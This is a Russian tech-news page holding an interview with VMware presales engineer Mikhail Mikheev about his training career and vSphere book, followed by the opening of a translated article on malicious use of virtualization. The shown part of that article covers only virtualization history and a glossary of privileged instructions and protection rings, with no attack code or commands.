Русский
Русский
English
Статистика
Реклама

Виртуализация

Интервью с Михаилом Михеевым, автором первой книги на русском по vSphere

20.05.2021 18:13:57 | Автор: admin

Не так давно мы публиковали интервью Один день из жизни разработчика VMware рассказ о карьере ИТ-специалиста в крупной международной компании.

А сейчас у нас возникла идея поискать в своем отечестве, и мы обратили внимание на российский офис VMware. Программистов в нем нет, но есть о чем поговорить с инженерами presales. Встречайте Михаил Михеев!

Если вы стояли у истоков использования виртуализации в России, то вы могли знать о нем как о человеке, который:

  • вел блог по этой узкой тематике и обучающие курсы;

  • участвовал в организации встреч сообщества;

  • написал книгу Администрирование VMware vSphere.

Мы решили поговорить с Михаилом по душам и выведать, как он попал в ИТ, почему решил написать собственную книгу и как стал сотрудником VMware, не будучи программистом. Небольшой спойлер: оказалось, под маской уверенного в себе специалиста скрывается обычный человек. Скромный и с превосходным чувством юмора.

Эксперт с форума

Пути, по которым ведет нас жизнь, не всегда поддаются логическому анализу. Порой даже случайности, которым не придаешь особого значения, становятся решающими. Итак, представьте: Казань. Я учусь на последнем курсе университета. Стажируюсь за еду бесценный опыт у местного интегратора. (Большое спасибо им, кстати: я в первые полгода действительно не умел делать ничего полезного, чтобы просить денег.) И вот передо мной поставили задачу разобраться с неподдавшимся с наскока продуктом, Microsoft SMS 2003. Мне удалось найти один админский форум: там я искал информацию и задавал тонны вопросов в основном как раз по этому продукту. В первое время я только спрашивал, затем осмелел и начал понемногу отвечать менее опытным товарищам. Как потом выяснится, потребность делиться знаниями это неотъемлемая часть моего характера.

Мои ответы заметил форумчанин, очень много помогавший мне на начальных этапах. Можно сказать, я рос на его глазах. Совпало, что в то же самое время к нему обратился один из московских учебных центров: мол, есть ли на примете тренер, который может прочитать курс по MS SMS? И он пришел с этим предложением ко мне.

Если мне не изменяет память, потом он рассказывал: Я был впечатлен тем, что на форуме ты не только искал решения для собственных задач, но и в какой-то момент начал помогать другим. Подумал: раз уж ты и разобраться смог, и продолжаешь погружаться прочитать курс тебе вполне по силам.

Сейчас я понимаю, что учебный центр тогда пошел на авантюру, доверив вести серьезный курс неопытному и неизвестному мне. Видимо, вакансия преподавателя совсем горела :)

(Справедливости ради, они сначала со мной очно познакомились, и обеспечили всей возможной поддержкой, так что это не было стереотипным возьмем с заказчиков много денег, а наймем студента.)

Шел 2005 год. Товарищ с форума оставил мне контакты учебного центра. Представьте мое состояние: где я, студент Миша из Казани, а где это достойное заведение! Заметьте: я раньше не только лекции сам не вел, но даже слушателем подобных вендорских курсов мне бывать не доводилось. Я очень ОЧЕНЬ волновался перед звонком.

Но, как говорится, колени дрожат, а руки делают. Я согласился на этот вызов. Мы договорились о личной встрече, я съездил в Москву на собеседование, а дальше как в тумане. Чтобы я получил представление о том, как все это вообще происходит, учебный центр позволил мне принять участие в качестве слушателя на другом курсе. Затем предоставил trainer guide и назначил дату курса уже со мной в роли тренера.

Как потом признался один из сотрудников, во время курса они подкрадывались к двери, скрестив пальцы, и слушали, что происходит в аудитории.

Мне удалось взять себя в руки и во время курса хранить спокойное и доброжелательное выражение лица, несмотря на внутренний котел эмоций. А нервничал я в первые разы, конечно, очень здорово. Желание не ударить в грязь лицом мотивировало раз за разом приходить все более подготовленным. Кучу времени я потратил на штудирование тренинг-гайда, на каждой странице, на каждом слайде выделяя важную и интересную информацию. В буквальном смысле почти на каждой странице толстенной печатной методички у меня были наклеены канцелярские листочки с заметками.

При этом на мне была подготовка не только по теоретической части, но и по практической. Во время курса на локальных ПК слушателей запускались лабораторные виртуальные машины их тоже настраивал и заливал я сам.

Преподавание легло мне на душу. Люди оставляли хорошие отзывы после курсов. Было видно, что они не просто получили удовольствие, но и реальные навыки заработали. По итогам учебный центр предложил мне постоянную работу. Можно сказать, так и началась моя настоящая карьера, и я переехал в Москву.

(Сейчас душевная рана почти затянулась, поэтому расскажу: моя будущая жена смогла переехать лишь спустя целый год. Все это время я жил в Москве один, без нее. Это было отдельным вызовом.)

Со временем я начал читать и другие курсы по продуктам Microsoft немного, буквально две-три штуки. Учебный центр нашел еще одного нишевого вендора, и некоторые курсы по его продуктам тоже достались мне. Приблизительно в то же время (2006 год) на российский рынок вышла и VMware. Мой учебный центр оперативно заключил с ними соглашение, и я стал первым преподавателем по vSphere (тогда продукт носил немного другое название) на территории РФ. Наверное, достаточно долгое время я был вообще единственным. Как и сейчас, курс назывался Install, Configure, Manage (ICM). Добротный и весьма полный материал для подготовки молодых бойцов в сфере виртуализации.

Личный блог для самообучения

Все, что касается получения новой информации и знаний о виртуализации в целом, это достаточно интересная тема. Чем больше преподавательской деятельности я на себя брал, тем сильнее ощущалась потребность в новых, более глубоких знаниях.

В первое время мне за глаза хватало и тренинг-гайда: я мог прочитать его 10 раз и каждый раз находил что-то новое. Много времени я проводил с лабораторными машинами: разворачивал продукты, воспроизводил лабы, крутил их по-разному. Эта практика тоже оказалась очень полезной, я восполнял пробелы в базовых знаниях. Сейчас уже не вспомню: возможно, я читал какие-то англоязычные книги, но привычки их искать и изучать еще не было. Это пришло немного позже. Может быть, я тогда вообще ничего профильного со стороны не читал (смеется).

Затем я открыл для себя мир блогов. Они стали сами собой появляться по всему интернету: гуглишь что-то специфическое, и бац! выдается чей-то личный блог. Я перешел в фазу жадного поглощения информации и спустя короткое время оказался подписан буквально на десятки тематических блогов. Тогда я столкнулся со следующей проблемой: оказалось, недостаточно просто прочитать информацию, чтобы ее запомнить. Мне нужен был способ пропустить знания сквозь себя, выделить наиболее важные моменты и усвоить их. Так и возник мой собственный блог не из желания продвинуть свою фигуру, а чтобы важная информация откладывалась в голове через написание статей и заметок. Надо сказать, этот шаг тоже дался мне непросто. Все-таки, это публичное поле, новая ответственность :)

Главная страница блога МихаилаГлавная страница блога Михаила

Работа преподавателем, с одной стороны, заставляла меня постоянно получать новые знания, с другой оставляла много свободного времени на учебу. Либо тренинги удавалось закончить немного пораньше, либо выдавались свободные недели, и я мог активно постить в блог. Можно сказать, я тогда занимался на 90% именно переработкой: публиковал короткое резюме-выдержку со ссылкой на оригинальную заметку.

Эта схема себя оправдала: со временем в блог подтянулась моя аудитория. Люди комментировали, задавали вопросы, даже уточняли что-то. Это давало много пищи для изучения. Забавно, что в какой-то момент я столкнулся с тем, что мне задают вопрос, я ищу ответ и нахожу его у себя же в блоге. Получалось, я забывал даже то, о чем сам писал.

Огонь в глазах, дискуссии и споры

Это, скорее, относится к курьезам, запоминающимся моментам. Есть такое устоявшееся выражение огонь в глазах. Применительно к моей практике преподавания это люди интересующиеся, жадные к знаниям. Есть и те, у кого этот огонь потух: к обучению они относятся, скорее, как к формальности.

С опытом я научился различать, к какой категории относятся те или иные мои слушатели. К моему удивлению, огонь далеко не всегда коррелирует с возрастом. Я видел и сонных молодых людей, которым ничего не интересно, и (почти) бабушек-дедушек, которые расспрашивали меня и действительно понимали, о чем идет речь на курсе. Я тогда решил, что дедушкой я хочу стать именно таким. Разумеется, не прямо сейчас, а с годами :)

Но огонь в глазах надо уметь поддерживать. Не давать ему угасать. Меня очень воодушевляли положительные отзывы слушателей. Я искренне верил, что люди оставляли их не только из вежливости, старался добиваться новых успехов.

Так я заметил еще один момент: в каждой группе между инициативными слушателями возникали дискуссии, споры. Я поощрял такие ситуации, даже говорил: Ребята, так получилось, что преподаватель здесь я, но у многих из вас есть опыт, которого нет ни у меня, ни у ваших коллег. Обменивайтесь этим опытом!. Наблюдая со стороны, я обратил внимание на то, что многие споры возникали из-за недопониманий между людьми. Два человека могли говорить об одном и том же, но разными словами. Или для обозначения разных понятий использовали одни и те же термины. Я старался всеми силами минимизировать такие ситуации, выводя спор в конструктивное русло. Дискуссии хороши, если обе стороны понимают друг друга и не пускаются в терминологические споры. Возможно, эта практика помогала людям учиться эффективнее и, в том числе, находила свое отражение в позитивных отзывах.

Мужики в свитерах: правда или вымысел?

Пару слов скажу о контингенте на моих курсах: на 98% процентов это были системные администраторы и инженеры заказчиков или интеграторов. Как правило, характеры у тех, кто представляет заказчиков, отличаются от тех, кто пошел на работу к интеграторам. Это, скорее, курьезное наблюдение, чем строгое. Что касается возраста были все, от молодежи до зрелых специалистов. Люди постарше приходили, конечно, реже.

Отвечая на ваш невысказанный вопрос да, девушки тоже бывали. Меньше, чем юноши, но в ИТ девушек в принципе меньше работает. Тем не менее, стабильный женский процент слушателей был всегда.

Когда в 2008-ом у меня вышла собственная книга и в узких кругах я стал Тем-Самым-Михаилом-С-Книжкой, я даже дежурно шутил: жаль, что в ИТ мало девушек. Приятно, конечно, когда бородатые мужики в свитерах пожимают тебе руку и говорят, какую классную книгу ты написал. Это льстит. Но все равно это бородатые мужики в свитерах

(На всякий случай еще раз поясню: это дежурная шутка!)

В качестве исключения были у меня и необычные слушатели, имевшие к ИТ опосредованное отношение. Изредка у интеграторов возникали ситуации, когда нужно кровь из носа обучить человека, но подходящих кадров под рукой нет. Таким ставленникам было сложно, но они все равно приходили, старались понять тему. Интересно, что большинство из них упорно сидели на курсах и даже пытались делать лабы. Им я максимально подробно объяснял, практически разжевывал материал делал скидку на непрофильный бэкграунд.

Как писалась книга

Книга это мой личный проект. Авантюра. Начав писать, я даже не был уверен, что смогу ее закончить. Но, как видите (улыбается). Сейчас я могу сказать, что книга оказала большое влияние на меня, на мою дальнейшую карьеру. Написать ее это решение, которым я до сих пор горжусь.

Я хорошо запомнил день, с которого все началось. Меня тогда отправили в командировку в Хабаровск как раз таки с курсами по VMware. Время от времени я летал с учебными задачами, в основном по отдаленным от Москвы местам: Казахстан, Баку, Дальний Восток. А длительный перелет это смена часовых поясов и неминуемый джет лаг.

Представьте себе: 4 часа утра. Гостиница, сна ни в одном глазу. Чтобы занять руки, отвечаю на вопрос читателя моего блога. Гуглю, чтобы уточнить информацию и попадаю... правильно, в собственный блог! Выходит, я все это знал, даже писал об этом, но забыл. За пониманием пришло озарение: а что, если я возьму и зафиксирую свои текущие знания в виде книги? Под рукой как раз была программа для составления mind mapов, в ней я начал накидывать приблизительное содержание про что и в каком порядке можно рассказать. Это был первый подход: крупные мазки, обширные планы.

Запала хватило на то, чтобы написать начало, а потом я стал перегорать. Не знаю, продвинулся бы я дальше, если бы не очередное удивительное совпадение. Спустя короткое время я поехал на конференцию VMware. Во время перерыва ко мне подошел представитель нишевого издательства: Вы Михаил Михеев? Очень приятно. Мне посоветовали обратиться к вам по поводу написания книги по теме виртуализации. Звезды сошлись: мысли о книге одновременно пришли в голову и мне, и издателю.

(Только сейчас понял, что забыл спросить у представителя издательства, кто указал ему именно на меня!)

Обязательства перед другим человеком всегда мотивируют. С тех пор каждый день я тратил хотя бы пару часов на работу над книгой: открывал вордовский файлик и писал. Не скажу, что это было просто: требовалось написать и выверить текст, подготовить с помощью лабы набор скриншотов их действительно много, почти на каждой странице... Это заняло уйму времени, первый релиз писался примерно год.

Есть несколько воспоминаний из той поры:

  • Издатель выдал набор правил оформления рукописи (подозреваю, что-то из области ГОСТов). А-ля пункты нумерованного списка должны заканчиваться точкой, а не-нумерованного точкой с запятой, кроме последнего, где тоже нужна точка. Запомнить все эти заморочки оказалось непросто, но в дальнейшем эти знания мне не раз пригодились.

  • Скриншоты это сущий ад. На них уходила если не бльшая, то как минимум львиная доля времени. А в инструкции от издателя было указано: скриншоты сохраняйте в таком-то формате, притом обязательно черно-белые. Я люблю делать все по инструкции, поэтому не противился. И угадайте что? Оказывается, инструкция не учитывала существование электронных версий книг, где, очевидно, не имеет смысла черно-белить картинки. Подозреваю, издатель попросту не подумал об электронной книге (да-да, смешно звучит с высоты 2021 года). А для меня это обернулось повторным созданием почти всех скринов, так как исходники я почему-то не сохранял.

  • Знали бы вы, как я стеснялся выложить анонс у себя в блоге. Очень сильно нервничал :)

Анонс книги в блогеАнонс книги в блоге

Всего было три релиза: первый по 4-ой версии vSphere, второй по 4.1, а последний был посвящён уже 5-ой версии. Бумажные издания оформлены в разных цветах, чтобы читатели не путались.

Здесь важно понимать: моя книга это не художественное произведение. В ней нет героев и злодеев, только факты и темы, которые требуется осветить. По большому счету это учебник со всеми вытекающими из этого последствиями.

В свое время я шутил: мол, я написал самую лучшую книгу по VMware на русском языке. Знаете, почему? Потому что единственную, других нет.

В какой-то момент я увидел свою книгу на торрентах. Примерно в тех же раздачах, что и продукты VMware. Эмоции я испытал сложные. С одной стороны, по моему карману это не ударило. С другой было чуть-чуть обидно из за потери права распоряжаться своим детищем.

Один писатель-фантаст сказал: автор [в случае пиратства] теряет не столько деньги, сколько право распоряжаться плодом своего труда. В правовом поле автор может убрать свое произведение из конкретного магазина или вообще изъять из продажи. С условным торрентом это не так, это обидно. Вне зависимости от того, будешь ты что-то такое делать или нет.

Меня часто спрашивают, пишу ли я новую книгу. Короткий ответ нет. Чаще всего отшучиваюсь: мол, куда, у меня уже двое детей!

А если серьезно я и блог-то уже лет 7 не веду. Когда я был занят преподаванием, и блог, и книга были частью моей работы. В том числе, над собой. Моя текущая работа в VMware оставляет намного меньше времени на такие проекты. Честности ради в какой-то момент я предпринял еще одну попытку обновить книгу, но буквально через неделю понял: нет, не стоит этим заниматься. На предыдущем жизненном этапе у меня была четкая цель: что я хочу сделать, для кого и зачем. А книга ради книги это никому не интересно.

Сам собой назревает дискуссионный вопрос: вот я молодой, горящий специалист, есть ли мне смысл заявить о себе, написав книгу? [не суть важно, но, допустим, по решению VMware].

Выскажу свое мнение.

С одной стороны, сейчас у VMware есть продукты, по которым нет русскоязычных материалов. Так что смысл написать по ним книгу имеется, у специалистов она будет востребована. Но насколько велика будет аудитория? Вопрос открытый. К примеру, первый тираж моей книги составил порядка 5 тысяч экземпляров (за давностью могу ошибаться).

Это много или мало?

C другой стороны, старая добрая книга это уже немного олдскул. Есть блоги, есть YouTube. Есть Telegram-каналы, в конце концов. Может, лучше в эту сторону копнуть?

Готовогоответа у меня нет, но мне кажется, что классическая книга по-прежнему имеет смысл. Все-таки, когда ты говоришь: я Миша, автор [например] Telegram-канала такого-то или я автор такой-то книги, эффект получится разным.

Мой совет прислушайтесь к себе, постарайтесь понять задачу, которую хотите решить. Тогда вам станет ясно, каким способом подходить к решению: с помощью блога, канала или, к примеру, книги.

Как я попал в VMware

Наступил 2011 год. К тому моменту я уже имел около 6 лет преподавательского стажа. Популярность VMware и, соответственно, номенклатура курсов росли. Бывало так, что в течение месяца я мог читать один и тот же курс двум-трем разным группам.

С одной стороны, работа мне нравилась: я получал удовольствие от общения с людьми. Любил объяснять какие-то нетривиальные моменты. А с другой стал замечать, что прихожу на работу в понедельник, а голова включается только к среде. Рутина. Вышел к доске и пошел по накатанной: одни и те же слова, одни и те же шутки. Всем, вроде, нравится, а мне нет.

Потихоньку я начал искать варианты. Честно пошел к руководству учебного центра как раз тогда они активно знакомились с новыми боссами российского офиса VMware. И вышло так, что центр сам порекомендовал меня VMware.

Помнится, сижу я в больнице. Жду приема врача. Раздается звонок с незнакомого номера: оказалось, звонит руководитель пресейлов VMware. Предлагает пообщаться. Я тогда ничего не понял какую именно работу мне предлагают, чем я буду заниматься... Но все равно согласился на встречу.

По итогам собеседования меня приняли. В силу того, что в учебном центре существовал определенный горизонт планирования на пару месяцев вперед, когда набрана группа, составлен график, у слушателей куплены билеты и командировки, сразу же уйти я не мог. В VMware мне пошли навстречу, я доработал необходимый срок, съездил в небольшой отпуск в Питер и 13 февраля вышел на работу.

Моя первая должность называлась пресейл-инженер. Это такой технарь, инженер, хорошо разбирающийся в продукте. Он занимается решением разнообразных вопросов по ходу проработки проектов в крупных организациях.

Любая большая компания в процессе поиска решений для своих задач не может просто взять и купить продукт. В любом случае требуется тестовая инсталляция и обкатка. Необходимо вдумчиво пообщаться с заказчиком и понять, насколько текущие проблемы закрываются предложенным решением. А если не закрываются, как с этим быть. Процесс это долгий, ресурсоемкий: очные встречи (до карантина), звонки, переписка по электронной почте и все в таком духе.

Значимую долю времени занимает обучение на внутренних и внешних курсах. Мир развивается, портфолио развивается, продукты обзаводятся новыми функциями и возможностями. Без обучения никак.

Кстати: еще в задачи пресейл-инженера входит обучение заказчиков и партнеров, а также выступления на различных мероприятиях. Например, в этом году наши пресейлы проводят цикл весенних вебинаров VMware 2021, которые будут идти до июня. На них можно не только послушать экспертов, но и пообщаться с ними в чатах и Q&A. Зарегистрироваться на вебинары можно на сайте, а посмотреть онлайн-мероприятия в записи на нашем YouTube-канале. А для энтузиастов у нас есть канал в Telegram: там мы напоминаем о старте вебинаров и делимся видео.

Спустя несколько лет мне предложили стать тимлидом группы пресейлов. Людей в отделе становилось все больше и больше, и в одиночку решать все менеджерские проблемы нашему начальнику становилось тяжело. Время в сутках ограничено.

Как водится, решение пойти в эту область не было для меня легким. Другие задачи, другая ответственность, потенциально иные отношения с коллегами. В новые обязанности мне удалось войти не спеша, совмещая их с работой пресейла. Более того, я по прежнему прикладываю усилия чтобы оставаться одной ногой на земле. Оторваться всегда легко, а вернуться обратно, как говорят старшие товарищи, невозможно.

Немного об изоляции

У нас переход на полную удаленку прошел очень гладко. Иногда мы с коллегами обмениваемся опытом, у кого и как оборудовано рабочее место.

У части нашего коллектива, например, у меня, есть дома съемный зеленый экран и штатив для камеры. На Хабре были статьи об организации рабочих мест в части аудио- и видеосвязи. Многое я почерпнул именно оттуда. Я даже телесуфлером обзавелся, чтобы в домашних условиях делать записи попрофессиональнее.

Сотрудники VMware в России это такие же люди, как и везде. Нам тоже не хватает встреч лицом к лицу и в коллективе, и при решении вопросов с заказчиками. Удаленка это нормально, это правильно сейчас. Но я все равно жду момента, когда мы сможем хотя бы какой-то процент времени тратить на очные встречи.

Кто востребован в VMware

Наверное, я сейчас скажу не самую очевидную вещь. Нам не особо важно, является ли человек экспертом в продуктах VMware. Этому мы как раз можем научить на месте: и ресурсов, и учебных материалов, и опыта у нас достаточно. Любые ИТ-продукты это не квантовая физика. Получить нормальную или даже отличную экспертизу в них можно. Главное воспринимать это не как проблему, а как задачу. Попробовал получилось. Поотвечал на вопросы и сам не заметил, как освоил тему.

Гораздо сложнее научить человека soft-скиллам и такому навыку, как доведение дел до конца. Работы больше, чем времени в сутках, поэтому всегда есть соблазн что-то здесь поделать, там поковырять, но до конца не доводить. Льется нескончаемый поток задач, и ты думаешь: я буду что-то отдельное выхватывать. Это не очень хорошая история. Если уж взялся делай. Не берешься скажи. Не оставляй повисшим в воздухе.

Один из главных soft-скиллов уметь говорить на языке собеседника. Отличным примером является известный в хаброкругах Milfgard. Помните шикарную статью про недочеты в унаследованной архитектуре живых существ? Огонь же! И в том числе потому, что материал подан на языке читательской аудитории.

Вернемся к теме. При всем вышесказанном айтишный бэкграунд иметь все-таки желательно. Научить продуктам можно, но если вообще никакого бэкграунда нет, это может стать большой проблемой. С другой стороны, нам бывают нужны люди с разным рабочим опытом. Где-то сетевой бэкграунд более важен, где-то менее, например.

Из очевидных требований сотруднику необходим разговорный английский. VMware мировая компания, на ежедневной основе люди работают в интернациональных группах, обращаются за консультацией или помощью к западным коллегам. По-моему, это здорово, когда ты в рамках рабочего общения можешь поговорить с крутыми людьми, представителями родственной профессии, живущими в другой стране или даже части мира. Прикоснуться к их культуре, менталитету. Незабываемый опыт. Отдельная приятность прямой доступ к Product Managerам, которые непосредственно отвечают за развитие продуктов (нередко прямо в Кремниевой долине, с географической точки зрения). Лично мне очень импонирует возможность обратиться к первоисточникам, а то и пригласить их на конф-колл по проекту с заказчиком.

Немного о Хабре

Хабр для меня один из главных источников информации из разных сфер.

Например, актуальны были несколько статей про организацию видеозвонков, вот эту даже в Evernote себе сохранил и по ее заветам приспособил старый телефон в качестве веб-камеры.

Просто просмотр заголовков статей в RSS-клиенте позволяет составить мнение о событиях мира ИТ в целом.

Очень интересны статьи про собеседования с обеих сторон. У меня есть собственный список вопросов для обсуждения на собеседовании, и я периодически вношу в него изменения, если встречаю интересный вопрос, подход или какой-то инструмент для проведения собеседования.

Обязательно читаю статьи Milfgardа. Во-первых, он в принципе хорошо складывает слова в приложения. Во-вторых, он хорошо умеет разговаривать на языке аудитории. Это крутая тема, близкая мне и по работе преподавателем, и по нынешней. Его статью Вы неправильно пишете животных я даже перечитываю для удовольствия иногда, круто написана и оптимизирована под ИТ.

Ну и нельзя не сказать, что именно с его статьи Настольные игры: во что играют в IT-офисах? от далекого 2011 года началось мое нынешнее увлечение настольными играми, в котором я весьма глубоко погряз :)


Друзья! Если вам интересен такой формат, будем рады вашим пожеланиям. Поделитесь в комментариях, интервью с представителями каких сфер и профессий вам бы хотелось видеть на Хабре.

Подробнее..

Перевод Виртуалка-камуфляж Вредоносный подход к виртуализации

28.05.2021 14:21:34 | Автор: admin


Виртуализация это палка о двух концах

Победоносное развитие облаков в последние годы можно связать с постепенным совершенствованием сразу множества технологий, относящихся как к аппаратному, так и к программному обеспечению. Но, наверное, наиболее известна технология, в которой две эти области смыкаются: речь о виртуализации. Упрощенно говоря, виртуализация это акт абстрагирования аппаратных компонентов (например, процессора, памяти, дисковых приводов, т.д.) и представления их на программном уровне, который динамичнее аппаратного и лучше масштабируется. Данная ключевая характеристика виртуализации располагает к созданию заказных, надежных, высоко доступных онлайновых сервисов, используемых по требованию сегодня это называется облако.

Однако, в этой великой технологии, выводящей на новые парадигмы, кроется и темная сторона. Есть производители облаков, годами извлекавшие пользу из того абстрагирования, что обеспечивается при помощи виртуализации и применяется, чтобы вас защитить, а есть и злоумышленники, вскоре осознавшие, как виртуализацию можно обратить против вас. В последние годы наблюдаются некоторые угрозы одни из них лишь продуманы концептуально, другие уже встречаются на практике применяющиеся при вторжениях для маскировки вредоносной активности. Это деструктивная виртуализация или, как мы ее называем, виртуальный камуфляж.

В этой публикации мы расскажем, кто может стать жертвой таких приемов, дадим обзор исследований, направленных на понимании этого сегмента угроз с учетом новейших приемов виртуализации, подробно разобравшись в vCloak (виртуальном камуфляже) для Linux. Это PoC-проект, позиционируемый как доказательство осуществимости. Мы создадим многоуровневое закамуфлированное вредоносное ПО, которое будет незаметным и минималистичным, но все равно будет обладать той портируемостью, персистентностью и надежностью, для достижения которых применяется виртуализация. Мы хотим развеять мифы, касающиеся этого нового вектора атак и помочь вам лучше понять, как устроен этот новый вектор атак, и объяснить, каким образом злоумышленник может воспользоваться виртуализацией в качестве оружия. Не поленитесь дочитать: в качестве бонуса мы расскажем и о некоторых способах смягчения вредоносности этих атак.

Предыстория виртуализации


Как упоминалось выше, виртуализация это акт абстрагирования аппаратного обеспечения. Но, чтобы лучше понять материал этого поста, нужно углубиться в тему немного сильнее. Итак, давайте перенесемся к тому моменту, с которого началась эпоха виртуализации. Идея виртуализовать аппаратное обеспечение не нова; ее корни можно проследить до 1960-х, когда IBM потратила немало сил на реализацию новой концепции под названием разделение времени (рис. 2).В простейшем виде концепция сводится к следующему: пользователи могут совместно использовать процессор благодаря непрерывному сверхскоростному переключению контекстов. К этой идее удалось прийти, заметив, что каждый пользователь успевает потребить лишь малую толику потенциала всего компьютера. Учитывая, что в те времена компьютер занимал целую комнату и стоил около 20 миллионов долларов США (с поправкой на инфляцию), казалось целесообразным использовать его на полную. Современная виртуализация опирается на тот же принцип совместное использование ресурсов машины, но с поддержанием логического разделения.


Рис. 1: Пульт управления IBM 7094, где была впервые реализована концепция разделения времени (изображение принадлежит пользователю Wikipedia ArnoldReinhold, лицензировано подCreative Commons BY-SA 3.0)

С чего начиналась современная виртуализация


В статье Formal Requirements for Virtualizable Third Generation Architectures (Формальные требования к виртуализируемым архитектурам третьего поколения)Джеральд Попек и Роберт Голдберг ввели первую четко определенную модель виртуализации, заложившую основы концепций, применяемых по сей день (рисунок 3). В этой статье были представлены некоторые базовые требования к виртуализации, а также классифицированы и проанализированы различные машинные команды. Ниже в формате шпаргалки дан обзор вышеупомянутых концепций.


1971 Representation // Как виртуализацию видели в 1971

Modern Representation // Современное представление

VMM // Монитор виртуальной машины

Hardware // Железо

VM // Виртуальная машина

Applications // Приложения

Operating System // Операционная система

Virtual Machine // Виртуальная машина

Virtual Machine Monitor // Монитор виртуальной машины

Physical Machine/Hardware // Физическая машина/железо

Рисунок 2: Сравнение: представление Попека и Голдберга vs современное обобщенное представление (взято изusenix)

Глоссарий по виртуализации


  • Гипервизор/VMM (Монитор виртуальной машины) мозг, обеспечивающий виртуализацию: он абстрагирует, изолирует виртуальное аппаратное железо и управляет им.
  • Хост-машина машина (физическая или виртуальная), на которой выполняется VMM
  • Гость /VM/Виртуальная машина машина, основанная на абстрактном аппаратном обеспечении и изолированном программном, предоставляемом machine VMM
  • Кольца защиты:
  • Четыре периметра (кольцо 0 кольцо 3) иерархии предметной области, обеспечиваемые на аппаратном уровне
  • Применяется для отграничения пространства ядра (обычно кольцо 0) от пользовательского пространства (обычно кольцо 3) или гостевой VM от хостовой VM/VMM
  • Железо проверяет текущий уровень привилегий(CPL), указанный вCS (сегменте с кодом)выполняющего процесса, сравнивая этот показатель сDPL (уровнем привилегий дескриптора), относящимся к целевой области памяти
  • Привилегированные инструкции:
  • Как правило, необходимо выполнять в кольце 0
  • Управляют критически важным низкоуровевым исполнением (HLT,LIDT)
  • Отображение в памяти (INVLPG)
  • Чтение/запись в специальные регистры (RDMSR,WRMSR,MOVCRx)
  • Могут предоставлять неограниченный доступ к хостовой OS
  • Чувствительные инструкции чтение и запись в MMIO (ввод-вывод через память) и устройства ввода/вывода (IN/OUT,MOV <MEMORY_MAPPED_REGISTER>)
    Эти инструкции действуют по-разному в зависимости от того, в каком кольце защиты находятся (POPF)
    Могут предоставлять неограниченный доступ через гостевую VM
  • Инструкции перехвата перехват команд и перенаправление логики управления
  • Эмуляция Программы, действующие как имитация аппаратного обеспечения с издержками на трансляцию
  • Полная виртуализация:
  • Критически важные инструкции, обнаруживаемые статически или динамически и заменяемые прерываниями, которые инициируют эмулированное выполнение
  • Работает весьма медленно из-за издержек, связанных с эмуляцией
  • Паравиртуализация:
  • Эмуляция с учетом присутствия гостевой системы, заменяющая чувствительные инструкции API-вызовами к гостю
  • Работает весьма быстро, но при этом негибко, поскольку гостя нужно модифицировать
  • Виртуализация с аппаратной поддержкой
  • Абстрагирование и поддержка чувствительных инструкций с поддержкой на уровне железа
  • Наиболее эффективный вариант, но зависит от архитектуры (напр., x86 vs AMD)


Рисунок 3: Типы виртуализации

Virtualization // Виртуализация

Bare metal hypervisors // Гипервизоры для голого железа

Hosted Hypervisors // Хостовые гипервизоры

Emulators // Эмуляторы

Hardware virtualiaztion // Аппаратная виртуализация

Интуитивное представление о виртуализации


В вышеприведенном глоссарии, как и в любой шпаргалке, для полноты восприятия не хватает контекста, зато много модных словечек (см. рис. 4). Мы попытаемся обобщить важнейшие из перечисленных элементов, пожертвовав некоторыми деталями для большей ясности. Как понятно из глоссария, один из самых сложных участков работы при виртуализации связан с обработкой привилегированных/чувствительных инструкций.

Привилегированными называются такие инструкции, которые позволяют вызывающей стороне получить контроль над критически важными ресурсами. Они принципиально важны для защиты системы от вредоносных действий и неконтролируемых программ из пользовательского пространства. Таковы, например, инструкции HLT (контроль потока выполнения в CPU с возможностью приостановки), влияние на отображение в памяти путем инвалидации страничных записей в буфере ассоциативной трансляции(INVLPG) или доступ к специальным регистрам (RDMSR, WRMSR, MOV CR). Привилегированные инструкции могут предоставить неограниченный доступ хост-машине (например, контроль над всеми обработчиками прерываний).

Чувствительные инструкции можно трактовать как инструкции, привилегированные с точки зрения гостя. К их числу относятся такие операции как взаимодействие с устройствами ввода/вывода (IN/OUT), запись в регистры, отображаемые в память (MOV ) или такие инструкции, которые работают по-разному в зависимости от того, в каком кольце защиты выполняются; такова, например, запись в регистр EFLAGS (POPF). Чувствительные инструкции могут предоставить неограниченный доступ к гостевой машине (например, запись непосредственно в устройства ввода/вывода и получение хост-привилегий).

Кольца защиты применяются для перехвата привилегированных инструкций и активации ядра для обработки их выполнения. Однако не так давно еще не существовало аппаратной поддержки для подобного подхватывания чувствительных инструкций, что не обязательно представляет опасность для хоста, но вот для гостя та еще точка отказов. Приемы, основанные на работе с программным обеспечением, в частности, эмуляция с использованием статической или динамической двоичной трансляции или паравиртуализации через модификацию гостя применяются, но ценой серьезного снижения производительности/гибкости.

В качестве решения была введена аппаратная поддержка для чувствительных инструкций, это было сделано путем добавления еще одного кольца безопасности (также называемого кольцо 1 или режим администратора). Широкое распространение такая практика получила в 2005 и 2006, когда Intel и AMD представилиVT-xиAMD-V, соответственно. Изначально оптимизация была очень проста, и лишь немногие операции по виртуализации обладали аппаратной поддержкой. Но вскоре такая поддержка распространилась и на многие другие операции, в частности, на виртуализацию блока управления памятью (MMU). В настоящее время виртуализация с аппаратной поддержкой является предпочтительным решением, так как обладает эксплуатационными достоинствами и повышенным уровнем безопасности, а также позволяет удерживать на минимуме издержки по производительности что бесценно в облачной среде.

Виртуализуй и защищай



Рисунок 4: Стек KVM-QEMU и соответствующий поток (изображение представлено пользователем ВикипедииV4711, по лицензииCreative Commons BY-SA 4.0)

Важнейший довод в пользу виртуализации использовать ресурсы по максимуму, в то же время, обеспечивая защищенность ресурсов, и их изоляцию друг от друга. Современные гипервизоры, оснащенные новейшими программными и аппаратными возможностями, позволяют создавать разнообразные изолированные виртуальные машины; от классических полнофункциональных операционных систем (скажем, Ubuntu) до современных минимальных MicroVM, выполняющих легковесные ядра (напр., Firecracker + OSv). Изоляция ресурсов, например, памяти, устройств файловой системы и ядра защищает от вмешательства взломанной гостевой VM как хостовую виртуальную машину, так и другие гостевые виртуальные машины.

Например, если на гостевой VM был успешно выполнен эксплойт ядра, и злоумышленник получил на ней права администратора, он все равно не пробьется через изоляцию. Если он не располагает уязвимостью гипервизора, то хост-VM и другие гостевые VM вторжением затронуты не будут, поскольку у них и у взломанной машины ядра отличаются. Как и любая другая стратегия защиты, виртуализация не решает всех проблем; с виртуализацией связаны и присущие только ей уникальные векторы атак. Вот несколько примеров специфических атак, направленных именно на уязвимость виртуализации:

